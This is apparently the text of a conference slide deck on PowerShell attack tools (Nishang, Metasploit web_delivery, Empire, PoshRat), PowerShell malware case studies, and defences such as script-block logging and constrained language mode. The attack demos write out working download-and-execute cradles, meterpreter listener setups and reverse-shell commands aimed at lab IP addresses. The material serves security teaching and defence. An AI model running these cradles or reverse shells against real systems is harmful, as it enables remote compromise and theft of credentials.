Nishang Nikhil "SamratAshok" Mittal - @nikhil_mitt - https://github.com/samratashok/nishang Antak Execute PowerShell scripts in memory, run commands, and download and upload files using this webshell. Prasadhak Check running hashes of running process against the VirusTotal database. Powerpreter All the functionality of nishang in a single script module. Backdoors(6) HTTP-Backdoor A backdoor which can receive instructions from third party websites and execute PowerShell scripts in memory. DNS_TXT_Pwnage A backdoor which can receive commands and PowerShell scripts from DNS TXT queries, execute them on a target, and be remotely controlled using the queries.. Gupt-Backdoor A backdoor which can receive commands and scripts from a WLAN SSID without connecting to it. Client(7) Out-Word Create Word files and infect existing ones to run PowerShell commands and scripts.. Out-HTA Create a HTA file which can be deployed on a web server and used in phishing campaigns. Out-Java Create signed JAR files which can be used with applets for script and command execution. Escalation(3) Enable-DuplicateToken When SYSTEM privileges are required. Invoke-PsUACme Bypass UAC. Nishang is a nice set of tools written in PowerShell by Nikhil "SamratAshok" Mittal. Many of these functions are unique to Nishang, but some of the functions can be found in other projects. Out-Word is a promising function to infect a word document with PowerShell commands. Function groupings are in bold; the number in parenthesis are the total number of functions in the grouping since only a sample is shown. Ref: http://www.labofapenetrationtester.com/search/label/Nishang

Nishang Functions Execution(4) Download_Execute Download an executable in text format, convert it to an executable, and execute. Execute-DNSTXT-Code Execute shellcode in memory using DNS TXT queries. Gather(13) Invoke-CredentialsPhish Trick a user into giving credentials in plain text. FireBuster FireListener A pair of scripts for egress testing Get-PassHashes Get password hashes from a target. Get-WLAN-Keys Get WLAN keys in plain text from a target. Invoke-MimikatzWdigestDowngrade Dump user passwords in plain on Windows 8.1 and Server 2012 Show-TargetScreen Connect back and Stream target screen using MJPEG Pivot(3) Invoke-NetworkRelay Create network relays between computers. Scan(2) Brute-Force Brute force FTP, Active Directory, MSSQL, and Sharepoint. Function groupings are in bold; the number in parenthesis are the total number of functions in the grouping since only a sample is shown. Ref: http://www.labofapenetrationtester.com/search/label/Nishang

Nishang Functions Shells(11) Invoke-PsGcat Send commands and scripts to specifed Gmail account to be executed by Invoke-PsGcatAgent Invoke-PowerShellTcp An interactive PowerShell reverse connect or bind shell Invoke-PowerShellUdp An interactive PowerShell reverse connect or bind shell over UDP Invoke-PoshRatHttps Reverse interactive PowerShell over HTTPS. Invoke-PowerShellIcmp An interactive PowerShell reverse shell over ICMP. Utility(9) Add-Exfiltration Add data exfiltration capability to Gmail, Pastebin, a web server, and DNS to any script. Add-Persistence Add reboot persistence capability to a script. Parse_Keys Parse keys logged by the keylogger. Invoke-Encode Encode and compress a script or string. Invoke-Decode Decode and decompress a script or string from Invoke-Encode. Start-CaptureServer Run a web server which logs Basic authentication and SMB hashes. Function groupings are in bold; the number in parenthesis are the total number of functions in the grouping since only a sample is shown. Ref: http://www.labofapenetrationtester.com/search/label/Nishang

Nishang Get-WLAN-Keys Windows kindly stores the information, to include the clear-text password, of every WiFi hotspot you have EVER connected to. The Get-WLAN-Keys script will extract that information.

Stream Desktop w/ Nishang & PowerShell http://www.labofapenetrationtester.com/2015/12/stream-targets-desktop-using-mjpeg-and-powershell.html ATTACKER: . C:\Data\Tools\Scripts\Powershell\PowerCat\powercat.ps1 powercat -l -v -p 443 -r tcp:7777 -rep -t 1000 VICTIM . C:\Tools\nishang\Gather\Show-TargetScreen.ps1 Show-TargetScreen -Reverse -IPAddress 192.168.56.1 -Port 444

PowerShell Suite Invoke-Runas https://github.com/FuzzySecurity/PowerShell-Suite Invoke-Runas Functionally equivalent to Windows "runas.exe", using Advapi32::CreateProcessWithLogonW Invoke-NetSessionEnum Use Netapi32::NetSessionEnum to enumerate active sessions on domain joined machines Invoke-CreateProcess Use Kernel32::CreateProcess to achieve fine-grained control over process creation from PowerShell. Conjure-LSASS SeDebugPrivilege to duplicate the LSASS access token and impersonate it in the calling thread Invoke-MS16-032 Discovered by James Forshaw Subvert-PE Inject shellcode into a PE image while retaining the PE functionality. Calculate-Hash PowerShell v2 compatible script to calculate file hashes Check-VTFile Submit SHA256 hash of a file to Virus Total and retrieve the scan report if the hash is known MS16-032/CVE-2016-0099 The Secondary Logon Service in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, and Windows 10 Gold and 1511 does not properly process request handles, which allows local users to gain privileges via a crafted application, aka "Secondary Logon Elevation of Privilege Vulnerability."

Invoke-Runas.ps1 https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1 Screen shot of pulling the Invoke-Runas script into memory and subsequently opening a new cmd.exe window as another user https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1

Subvert-PE Powershell PE Injection Demo only for Subvert-PE. This demo injects shellcode into Notepad++ that opens calc. You can edit the script to manually change the shellcode that is injected. Import Subvert-PE . C:\Tools\PowerShell-Suite\Subvert-PE.ps1 Open Notepad++ (No Calc will be displayed) Inject Shellcode Subvert-PE -Path C:\Tools\Notepad++\notepad++.exe –Write Open Notepad++ (Call will be displayed) Ref: http://www.fuzzysecurity.com/tutorials/20.html DEMO

Subvert-PE Powershell PE Injection Subvert-PE can be used to inject shellcode into an existing PE file. The resulting file will execute the injected shellcode and then continue on to run the normal PE application as normal. This will just pop calc.exe as a PoC First half of the command’s output.

PS> Attack Precompiled, self contained, portable console Jared Haight - @jaredhaight - https://github.com/jaredhaight/PSAttack Precompiled, self contained, portable console No powershell.exe, .Net 3.5 Modules are encrypted, decrypted in memory Modules Powersploit PowerTools Nishang Powercat Inveigh MS16-032 Hot Potato Invoke-MetasploitPayload NAME Invoke-MetasploitPayload SYNOPSIS Kick off a Metasploit Payload using the exploit/multi/script/web_delivery module Author: Jared Haight (@jaredhaight) License: MIT Required Dependencies: None Optional Dependencies: None SYNTAX Invoke-MetasploitPayload [-url] <String> {}[<CommonParameters>] DESCRIPTION Spawns a new, hidden PowerShell window that downloads and executes a Metasploit payload from a specified URL. This relies on the exploit/multi/scripts/web_delivery metasploit module. The web_delivery module generates a script for a given payload and then fires up a webserver to host said script. If the payload is a reverse shell, it will also handle starting up the listener for that payload. An example rc file is below (or you can just type the commands manually). It does the following: * Sets the download cradle to port 8443 (SRVPORT) on all IPs (SRVHOST) * Sets the script target to PowerShell (set target 2) * Sets the payload being served to windows/meterpreter/reverse_https * Sets the payload to listen on port 443 (LPORT) on all IPs (LHOST) ====== Invoke-MetasploitPayload rc file ====== use exploit/multi/script/web_delivery set SRVHOST 0.0.0.0 set SRVPORT 8443 set SSL true set target 2 set payload windows/meterpreter/reverse_https set LHOST 0.0.0.0 set LPORT 443 run -j ==== end Invoke-MetasploitPayload rc file ==== RELATED LINKS Github: https://github.com/jaredhaight/Invoke-MetasploitPayload REMARKS To see the examples, type: "get-help Invoke-MetasploitPayload -examples". For more information, type: "get-help Invoke-MetasploitPayload -detailed". For technical information, type: "get-help Invoke-MetasploitPayload -full".

Not PowerShell Ben Ten - @ben0xa - https://github.com/Ben0xA/nps Execute PowerShell commands on a host without powershell.exe Ref: https://github.com/Ben0xA/nps

PoshRat Server: JSRat.ps1 PoshRat-Socket.ps1 PoshRatHTTP.ps1 Casey Smith - @subTee - https://github.com/subTee/PoshRat Server: JSRat.ps1 PoshRat-Socket.ps1 PoshRatHTTP.ps1 PoshRatHTTPS.ps1 PoshRatWebDAV.ps1 PowerShell Reverse HTTP(s) Shell Invoke PoshRat.ps1 On An A server you control. Requires Admin rights to listen on ports. To Spawn The Reverse Shell Run On Client iex (New-Object Net.WebClient).DownloadString("http://server/connect") [OR] Browse to or send link to http://server/app.hta [OR] For CVE-2014-6332 Send link to http://server/app.html Created By Casey Smith @subTee https://github.com/subTee/PoshRat Target:

Metasploit Modules encoder/cmd/powershell_base64 Powershell Base64 Command Encoder exploit/windows/local/powershell_cmd_upgrade Windows Command Shell Upgrade (Powershell) exploit/windows/local/powershell_remoting Powershell Remoting Remote Command Execution exploit/windows/smb/psexec_psh Microsoft Windows Authenticated Powershell Command Execution payload/cmd/windows/powershell_bind_tcp Windows Interactive Powershell Session, Bind TCP payload/cmd/windows/powershell_reverse_tcp Windows Interactive Powershell Session, Reverse TCP payload/cmd/windows/reverse_powershell Windows Command Shell, Reverse TCP (via Powershell) payload/windows/powershell_bind_tcp Windows Interactive Powershell Session, Bind TCP payload/windows/powershell_reverse_tcp Windows Interactive Powershell Session, Reverse TCP payload/windows/x64/powershell_bind_tcp Windows Interactive Powershell Session, Bind TCP payload/windows/x64/powershell_reverse_tcp Windows Interactive Powershell Session, Reverse TCP post/windows/gather/enum_powershell_env Windows Gather Powershell Environment Setting Enumeration post/windows/manage/exec_powershell Windows Powershell Execution Post Module post/windows/manage/powershell/exec_powershell Windows Manage PowerShell Download and/or Execute post/windows/manage/powershell/load_script Load Scripts Into PowerShell Session Metasploit itself has many modules that operate in the PowerShell space.

Metasploit – PowerShell Payloads windows/powershell_bind_tcp - windows/powershell_reverse_tcp

Metasploit – Meterpreter Extension PowerShell Meterpreter Extension functions

Metasploit – Meterpreter Extension Using the PowerShell Meterpreter extension

Metasploit – Meterpreter .NET namespaces Elevate FileSystem Incognito Kiwi Sys Transport User https://github.com/rapid7/metasploit-payloads/tree/master/powershell/MSF.Powershell/Meterpreter

Metasploit – Meterpreter Extension Using the exposed meterpreter namespace from a PowerShell prompt to interact with the Incognito and Kiwi meterpreter extension.

Metasploit – Web Delivery powershell.exe -nop -w hidden -c $m=new-object net.webclient;$m.proxy=[Net.WebRequest]::GetSystemWebProxy();$m.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $m.downloadstring('http://192.168.56.104:8080/pwned'); Use PowerShell and the IEX download cradle to deliver a meterpreter payload This module quickly fires up a web server that serves a payload. The provided command will start the specified scripting language interpreter and then download and execute the payload. The main purpose of this module is to quickly establish a session on a target machine when the attacker has to manually type in the command himself, e.g. Command Injection, RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not write to disk so it is less likely to trigger AV solutions and will allow privilege escalations supplied by Meterpreter. When using either of the PSH targets, ensure the payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines. Ref: https://www.rapid7.com/db/modules/exploit/multi/script/web_delivery http://www.darkoperator.com/blog/2016/4/2/meterpreter-new-windows-powershell-extension

Metasploit PowerShell Web Delivery This demo use Metasploit’s web_delivery module to generate a PowerShell command, that when executed on the victim, will return a meterpreter shell. YOU MUST MAKE SURE THE ARCHITECTURE MATCHES. I use this when I have remote code execution on host, typically through a web app. I also use it to quickly get a meterpreter session on a box without having to download a binary to the host first. No backup slides if this demo fails Setup Metasploit use exploit/multi/script/web_delivery set target 2 set URIPATH pwned set Payload windows/x64/meterpreter/reverse_http set LHOST 192.168.56.104 set LPORT 8888 run –j Run the generated powershell command on the victim’s computer in cmd.exe. It should work if run from powershell.exe, but was giving me problems EXAMPLE: powershell.exe -nop -w hidden -c $q=new-object net.webclient;$q.proxy=[Net.WebRequest]::GetSystemWebProxy();$q.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $q.downloadstring('http://192.168.56.104:8080/pwned'); DEMO

Empire Will Schroeder/Justin Warner/Matt Nelson - @harmj0y/@sixdub/@enigma0x3 - https://github.com/PowerShellEmpire/Empire Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework. Empire is a powershell agent like Metasploit’s meterpreter. The server portion of the Ref: http://www.powershellempire.com/ @harmj0y @sixdub @enigma0x3 Empire development is supported by the Adaptive Threat Division of Veris Group, LLC. Image: http://www.powershellempire.com/wp-content/uploads/2015/07/empire_logo_black4.png

Empire Commands ======== agents Jump to the Agents menu. creds Add/display credentials to/from the database. exit Exit Empire help Displays the help menu. list Lists active agents or listeners. listeners Interact with active listeners. reload Reload one (or all) Empire modules. reset Reset a global option (e.g. IP whitelists). searchmodule Search Empire module names/descriptions. set Set a global option (e.g. IP whitelists). show Show a global option (e.g. IP whitelists). usemodule Use an Empire module. usestager Use an Empire stager. The initial help screen Image: http://www.powershellempire.com/wp-content/uploads/2015/07/empire_logo_black4.png

DEMO Empire No backup slides if this demo doesn’t work Setup a listener (This is required so that an agent has something to connect to) listeners info set Host 192.168.56.104 set Port 8443 execute Use a stager to build the code to be executed on the victim’s host usestager launcher set Listener Demo You should see the agent connect back to the empire server. i.e. [+] Initial agent WMBPBUWVFYYMDMU3 from 192.168.56.112 now active List the agents and interact with one agents Interact <agent name> sysinfo Use one of Empire’s modules. Use <tab><tab> to get a tab completed list of available modules i.e. usemodule <tab><tab> usemodule trollsploit/voicetroll set VoiceText "Hello World“ DEMO

PowerEmpire PowerShell Management PowerShell Objects REST API Carlos Perez - @Carlos_Perez - https://gitlab.com/carlos_perez/PowerEmpire PowerShell Management PowerShell Objects REST API Windows PowerShell module is for the remote control of a headless Empire server via its REST API Importing the module and viewing available commands. https://gitlab.com/carlos_perez/PowerEmp https://gitlab.com/carlos_perez/PowerEmpire/wikis/homeire

PowerEmpire Carlos Perez - @Carlos_Perez - https://gitlab.com/carlos_perez/PowerEmpire Create a sessions with Empire server and subsequently get a list of agents. New-EmpireSession -ComputerName 192.168.56.104 -Credential russel –NoSSLCheck Get-EmpireAgent -Id 0 Register-EmpireAgentModuleTask -Id 0 -Module trollsploit/voicetroll -Options @{VoiceText="Hello"} Get-EmpireModule -Id 0 -ModuleName trollsploit/thunderstruck Register-EmpireAgentModuleTask -Id 0 –Module trollsploit/thunderstruck

PowerEmpire A backup image if the demo doesn’t work. Import the PowerEmpire module and make a connection to the Empire server. Get a list of available agents. Get a information on the voicetroll trollsploit module. Execute the trollsploit module on an agent. If you exclude the –Name flag, it will be run on all agents.

PowerShell Empire Web Interference Security - https://github.com/interference-security/empire-web Another web interface to access Empire via the REST API. This is primarily written in PHP https://github.com/interference-security/empire-web

PowerShell Malware Image: http://www.cbronline.com/Uploads/NewsArticle/4796128/main.jpg

PowerWorm Email Campaign Infected MS Word/Excel w/ VBA VBA Executes PowerShell DNS TXT Records w/ URLs Download Tor/Polipo Downloads Additional PowerShell Script Establish C2 Infects other MS Word/Excel Documents Modify Registry to Weaken MS Office Security Finds All .doc,.docx,.xls,.xlsx Embeds VBA Persists in Registry w/ Base64 Encoded Payload Found by Trend Micro Matt Graeber did an excellent write up http://blog.trendmicro.com/trendlabs-security-intelligence/word-and-excel-files-infected-using-windows-powershell/ http://www.exploit-monday.com/2014/04/powerworm-analysis.html Image: http://www.slate.com/content/dam/slate/archive/2009/03/1_123125_2126996_2208023_2212799_090330_tech_confickerwormtn.jpg.CROP.original-original.jpg

McAfee Labs – Malicious .lnk Marc Rivero Lopez - https://blogs.mcafee.com/mcafee-labs/malware-employs-powershell-to-infect-systems/ Email campaign w/ attached .rar file .rar file contained a .lnk file Bypass Execution Policy Opens hidden window Uses IEX download cradle to get new file Saves file to Temp Executes the file with cmd.exe Sandbox Bypass Ref: https://blogs.mcafee.com/mcafee-labs/malware-employs-powershell-to-infect-systems/ The sandbox did not have PowerShell, so the .lnk could not download the malware. The .lnk failed when the sandbox tried to run it. The sandbox did not support .lnk files.

Palo Alto - Powersniff Email Campaign Documents w/ Malicious Macros Injects Malware into Memory WMI Executes PowerShell Bypass ExecutionPolicy Opens Hidden Window Download .ps1 w/ Shellcode Decrypts & Executes payload Performs Recon HTTP GET to C2 Downloads Encrypted .dll Executed w/ rundll32.exe Ref: http://researchcenter.paloaltonetworks.com/2016/03/powersniff-malware-used-in-macro-based-attacks/

POWELIKS Hides in Windows Registry Downloads PowerShell if not Present Ref: http://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/ https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=761 https://www.carbonblack.com/2014/11/05/poweliks-malware-once-headline-worthy-is-simply-a-footnote-with-bit9-carbon-black/ Image: http://sensorstechforum.com/wp-content/uploads/2014/11/Poweliks-Trojan-Delivered-Through-Spam-Emails.jpg Hides in Windows Registry Downloads PowerShell if not Present Execute Encoded Script Executes Malware .dll Creates Null Autostart Entry Stores Encoded .dll in Registry .dll Injected into DLLHOST.EXE

Carbon Black - PowerWare FAREIT Email Campaign PDF Document PDF’s OpenAction Event PowerWare: https://www.carbonblack.com/2016/03/25/threat-alert-powerware-new-ransomware-written-in-powershell-targets-organizations-via-microsoft-word/ https://threatpost.com/fileless-powerware-ransomware-found-on-healthcare-network/116998/ https://www.alienvault.com/open-threat-exchange/blog/powerware-or-poshcoder-comparison-and-decryption https://www.carbonblack.com/2016/04/12/powershell-takes-center-stage-as-attackers-attempt-to-cloak-attacks/ Image: https://www.carbonblack.com/wp-content/uploads/2016/03/pw1.png Fileless Ransomware Spread via Spam w/ Attachment VBA Macro Run PowerShell via cmd.exe Download PowerShell Script PowerShell Encrypts Files

Incident Response & Defense Image: http://commercemanagement.info/wp-content/uploads/2016/03/trojan-horse-virus.jpg

Kansa Modular Incident Response Framework Dave Hull - @davehull - https://github.com/davehull/Kansa/ Modular Incident Response Framework PSRemoting for Data Collection Analysis Modules Remediation Steps Search for Breach Build Environmental Baseline Modules.conf Integration with Loki scanner - https://github.com/Neo23x0/Loki Ref: http://www.powershellmagazine.com/2014/07/18/kansa-a-powershell-based-incident-response-framework/ http://trustedsignal.blogspot.com/search/label/Kansa

Kansa - Modules Config Get-AMHealthStatus.ps1 Get-AMInfectionStatus.ps1 Get-CertStore.ps1 Get-ClrVersion.ps1 Get-GPResult.ps1 Get-Hotfix.ps1 Get-IIS.ps1 Get-LocalAdmins.ps1 Get-PSDotNetVersion.ps1 Get-Products.ps1 Get-SharePermissions.ps1 Get-SmbShare.ps1 ASEP Get-Autorunsc.ps1 Get-AutorunscDeep.ps1 Get-PSProfiles.ps1 Get-SigCheckRandomPath.ps1 Get-SigCheck.ps Get-SvcAll.ps1 Get-SvcFail.ps1 Get-SvcTrigs.ps1 Get-WMIEvtConsumer.ps1 Get-WMIEvtFilter.ps1 Get-WMIFltConBind.ps1

PowerForensics Boot Sector Get-ForensicsMasterBootRecord Jared Atkinson - @jaredcatkinson - https://github.com/Invoke-IR/PowerForensics Boot Sector Get-ForensicsMasterBootRecord Get-ForensicGuidPartitionTable Get-ForensicBootSector Get-ForensicPartitionTable NTFS Get-ForensicAttrDef Get-ForensicBitmap Get-ForensicFileRecord Get-ForensicUsnJrnl Get-ForensicVolumeBootRecord Get-ForensicVolumeInformation Get-ForensicUnallocatedSpace Windows Artifacts Get-AlternateDataStream Get-ForensicEventLog Get-ForensicOfficeFileMru Get-ForensicRunKey Get-ForensicTypedUrl Windows Registry Get-ForensicRegistryKey Get-ForensicRegistryValue Utilities ConvertFrom-BinaryData Copy-ForensicFile Get-ForensicChildItem Invoke-ForensicDD PowerForensics is a PowerShell digital forensics framework. It currently supports NTFS and is in the process of adding support for the ext4 file system. https://isc.sans.edu/forums/diary/toolsmith+112+Red+vs+Blue+PowerSploit+vs+PowerForensics/20579/

PowerShellArsenal Disassembly(2): Disassemble native and managed code. Matt Graeber - @mattifestation - https://github.com/mattifestation/PowerShellArsenal Disassembly(2): Disassemble native and managed code. Get-CSDisassembly Disassembles a byte array using the Capstone Engine disassembly framework. MalwareAnalysis(10): Useful tools when performing malware analysis. New-FunctionDelegate Provides an executable wrapper for an X86 or X86_64 function. Invoke-LoadLibrary Loads a DLL into the current PowerShell process. New-DllExportFunction Creates an executable wrapper delegate around an unmanaged, exported function. Get-AssemblyStrings Output all strings from a .NET executable. Get-AssemblyResources Extract managed resources from a .NET assembly MemoryTools(4): Inspect and analyze process memory Get-ProcessStrings Outputs all printable strings from the user-mode memory of a process. Get-VirtualMemoryInfo A wrapper for kernel32!VirtualQueryEx Get-ProcessMemoryInfo Retrieve virtual memory information for every unique set of pages in user memory. A PowerShell Module Dedicated to Reverse Engineering. Function groupings are in bold; the number in parenthesis are the total number of functions in the grouping since only a sample is shown. Ref: https://github.com/mattifestation/PowerShellArsenal

PowerShellArsenal Functions Parsers(4): Parse file formats and in-memory structures. Get-PE An on-disk and in-memory PE parser and process dumper. Find-ProcessPEs Finds portable executables in memory regardless of whether or not they were loaded in a legitimate fashion. Misc(4): Miscellaneous helper functions Get-Member A proxy function used to extend the built-in Get-Member cmdlet. It adds the '-Private' parameter allowing you to display non-public .NET members ConvertTo-String Converts the bytes of a file to a string that has a 1-to-1 mapping back to the file's original bytes. ConvertTo-String is useful for performing binary regular expressions. Get-Entropy Calculates the entropy of a file or byte array. WindowsInternals(6): Obtain and analyze low-level Windows OS information. Get-PEB Returns the process environment block (PEB) of a process. Register-ProcessModuleTrace Starts a trace of loaded process modules Get-ProcessModuleTrace Displays the process modules that have been loaded since the call to Register- ProcessModuleTrace A PowerShell Module Dedicated to Reverse Engineering. Function groupings are in bold; the number in parenthesis are the total number of functions in the grouping since only a sample is shown. Ref: https://github.com/mattifestation/PowerShellArsenal

Defense – Windows Logging PowerShell v5 Enhanced Logging Local Group Policy Administrative Templates Windows Components Windows PowerShell Module Logging (PSv3) Script Block Logging EncodedCommand XOR, Base64, ROT13 Script Execution Transcription https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html .NET 4.5 Windows Management Framework (WMF) 4.0 (Windows 7/2008 only) Windows Management Framework (WMF) 5.0 Module logging records pipeline execution details as PowerShell executes, including variable initialization and command invocations. Module logging events are written to Event ID (EID) 4103. Script block logging records blocks of code as they are executed by the PowerShell engine, thereby capturing the full contents of code executed by an attacker, including scripts and commands. Script block logging events are recorded in EID 4104.  Transcription creates a unique record of every PowerShell session, including all input and output, exactly as it appears in the session. Transcripts are written to text files, broken out by user and session. Transcripts also contain timestamps and metadata for each command in order to aid analysis. However, transcription records only what appears in the PowerShell terminal, which will not include the contents of executed scripts or output written to other destinations such as the file system.

Payload Encoding Converting an IEX download cradle to BASE64 string. Executing the BASE64 encoded string in the second image.

PowerShell Event Log This shows that windows log stores the decoded version of the previously executed BASE64 string.

PowerShell Language Modes FullLanguage ConstrainedLanguage ! Direct .Net Scripting ! Win32 API via Add-Type ! Interaction with COM objects RestrictedLanguage NoLanguage Environment Variable [Environment]::SetEnvironmentVariable(‘__PSLockdownPolicy‘, ‘4’, ‘Machine‘) GPO Computer Configuration\Preferences\Windows Settings\Environment AppLocker “Allow Mode” Policy PowerShell v5 https://adsecurity.org/?p=2604 https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/ https://technet.microsoft.com/en-us/library/dn433292.aspx https://www.sixdub.net/?p=367 The FullLanguage language mode permits all language elements in the session. FullLanguage is the default language mode for default sessions on all versions of Windows except for Windows RT. In RestrictedLanguage language mode, users may run commands (cmdlets, functions, CIM commands, and workflows) but are not permitted to use script blocks. In NoLanguage language mode, users may run commands, but they cannot use any language elements. The ConstrainedLanguage language mode permits all Windows cmdlets and all Windows PowerShell language elements, but it limits permitted types.

Checking the current language mode and subsequently changing it to ConstrainedLanguage mode via environment variable. The second image show the system using the ConstrainedLanguage. Notice that using the IEX download cradle failed

Additional Resources Blogs, Papers, and Videos https://www.blackhat.com/docs/us-14/materials/us-14-Kazanciyan-Investigating-Powershell-Attacks-WP.pdf http://www.trustedsec.com/files/PowerShell_Defcon.pdf https://www.troopers.de/events/troopers14/123_powershell_for_hackers/ http://www.irongeek.com/i.php?page=videos/derbycon5/break-me11-gray-hat-powershell-ben-ten http://www.darkoperator.com/powershellbasics/ https://www.sixdub.net/?tag=powershell-hacking-redteam-veil http://www.labofapenetrationtester.com/ https://waitfordebug.wordpress.com/2015/01/14/powershell-for-red-teaming/ http://www.powershellempire.com/ http://www.irongeek.com/i.php?page=videos/derbycon5/fix-me06-getting-started-with-powershell-michael-wharton https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/ http://www.fuzzysecurity.com/tutorials/20.html SOME of the additional resources. Most slides include reference information for the gathered content.

Windows Management Instrumentation (WMI) Bonus Points WINDOWS MANAGEMENT INSTRUMENTATION (WMI) OFFENSE, DEFENSE, AND FORENSICS FireEye https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf WhyMI so Sexy? WMI Attacks, Real-Time Defense, and Advanced Forensic Analysis http://www.irongeek.com/i.php?page=videos/derbycon5/break-me12-whymi-so-sexy-wmi-attacks-real-time-defense-and-advanced-forensic-analysis-matt-graeber-willi-ballenthin-claudiu-teodorescu SprayWMI - a method for mass spraying unicorn powershell injection to CIDR notations. TrustedSec https://www.trustedsec.com/october-2015/new-tool-spraywmi-mass-wmi-pwnage/ https://github.com/trustedsec/spraywmi For extra credit, take a look at WMI. It is gaining steam as method for penetration testers and malware to execute commands on a host remotely. It can also be used to establish persistence.

Conclusion Image: http://cdn.meme.am/instances/57840152.jpg